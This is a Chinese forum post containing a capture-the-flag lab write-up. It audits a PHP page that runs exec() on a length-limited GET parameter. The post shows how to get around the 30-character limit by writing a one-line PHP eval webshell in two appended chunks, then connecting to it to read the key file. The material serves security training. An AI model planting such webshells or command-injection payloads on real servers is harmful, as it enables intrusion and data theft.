用户
搜索
  • TA的每日心情
    慵懒
    昨天 12:25
  • 签到天数: 230 天

    连续签到: 4 天

    [LV.7]常住居民III

    i春秋-见习白帽

    Rank: 3Rank: 3

    3

    主题

    13

    帖子

    5246

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2021-3-31
    发表于 2021-12-23 14:24:31 01167
    作者:zngeek
    from:www.zngeek.com
    mail:zngeek.pm.me

    靶机地址:10.1.11.10:34412
    漏洞页面:vul.php
    目标:获取服务器上的key
    难度:★☆☆☆☆ 1星
    1.png

    访问vul.php,直接返回了以下页面,是需要我们来审计这段代码从而找出可以利用的地方
    代码如下:
    2.png

    为了更加方便读者理解,我给每行代码写上了注释
    如下图:
    3.png

    代码直接贴上

    [PHP] 纯文本查看 复制代码
    <?php
        header("Content-type:text/html;charset=utf-8");  //定义文件头,类型text/html,格式UTF-8
        /*
        Hint:
        get the shell find the key;)\n";
        */
    	
    	/*定义一个snadbox的文本变量,里面的文本为
    	/usr/local/apache2/htdocs/sandbox/加上MD5加密的cisp-pts+本机IP地址10.1.14.2
    	*/
        $sandbox = '/usr/local/apache2/htdocs/sandbox/' . md5("cisp-pts" . $_SERVER['REMOTE_ADDR']); 
    	
        @mkdir($sandbox,0777,true); //创建一个文件夹,文件夹的路径就是变量sndbox的值,赋予全局访问权限777,递归模式为真
        @chdir($sandbox); //切换到创建的文件夹下
        echo strlen($_GET['cmd']); //打印出我们GET提交的cmd参数的长度
        if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 30) {  //判断,如果cmd参数不为空且cmd参数的长度小于等于30
            @exec($_GET['cmd']); //用exec函数执行cmd参数里面的命令
        } else if (isset($_GET['reset'])) {  //否则如果reset参数不等于空
            @exec('/bin/rm -rf ' . $sandbox); //用exec函数执行命令 /bin/rm -rf 删除创建的目录以及里面的文件
        }
        highlight_file(__FILE__); //将本文件的代码高亮显示
    echo "<br /> IP : {$_SERVER['REMOTE_ADDR']}"; //打印输出访问者的IP


    从注释的代码,我们可以逐步分析该代码块的业务逻辑

    1、定义一个文件夹路径的变量
    2、创建该文件夹
    3、切换到该文件夹工作
    4、判断GET方式接收的参数cmd不为空且长度不大于30,就执行该cmd命令
    5、判断GET方式接收的参数reset不等于空,则删除创建的文件夹以及里面所有的内容
    6、高亮显示当前php文件的所有代码
    7、打印输出访问者的ip

    这里显而易见,我们只要get提交cmd参数到vul.php页面,且参数长度不大于30,就会执行我们提交的命令。

    首先我们需要计算出我们文件夹的路径
    知道了文件夹的路径为“/usr/local/apache2/htdocs/sandbox/加上MD5加密的cisp-pts+本机IP地址10.1.14.2”
    后面的MD5值加密的文件夹名可以直接计算出来
    4.png

    或者直接用php打印出来
    5.png

    6.png

    最终我们得到要创建文件夹的路径为/usr/local/apache2/htdocs/sandbox/b0495b54f47a70b5f5d33d08d6bcb456

    这里要获取服务器上存放key的文件内容有很多的方法,如:使用cat命令直接查询
    如果在我们知道key文件路径的情况下,可以直接使用cat命令查询key文件的内容,但是在vul.php的代码中,exec命令执行完后,并没有将结果用echo或者var_dump等等函数返回打印出来,所以我们可以将执行结果写入到文件里面,再访问该文件得到key文件的内容。
    直接GET请求http://10.1.11.10:34412/vul.php?cmd=cat+文件>1
    然后访问1这个文件即可,但是作者这里并不知道key文件的具体位置,所以不做演示

    其实最简单的办法,是直接写一个一句话木马
    http://10.1.11.10:34412/vul.php?cmd=echo+'<?php+eval($_POST['1'])?>'>1.php
    但是我们的cmd参数长度明显超过了30,所以代码并不会执行我们的命令
    这里可以通过追加文件的方式,分两次写入
    第一次:
    7.png

    第二次:
    8.png

    注意:第二次追加数据应该是>>两个符号
    这样我们就在1.php文件里面写入了我们完整的一句话木马“<?php eval($_POST['1'])?>”

    连接webshell
    http://10.1.11.10:34412/sandbox/ ... 33d08d6bcb456/1.php
    密码是1
    9.png

    在web根目录下文件9d0b7f19892b0778dd30e621056b88b6中成功找到了key
    10.png

    总结:
    该题目难度并不大,没有复杂的代码逻辑,仅仅只是有两个障碍,第一,计算出文件的绝对路径,第二,执行的命令不超过30个字节。满足以上两个条件,即可执行任意的命令。


    发新帖
    您需要登录后才可以回帖 登录 | 立即注册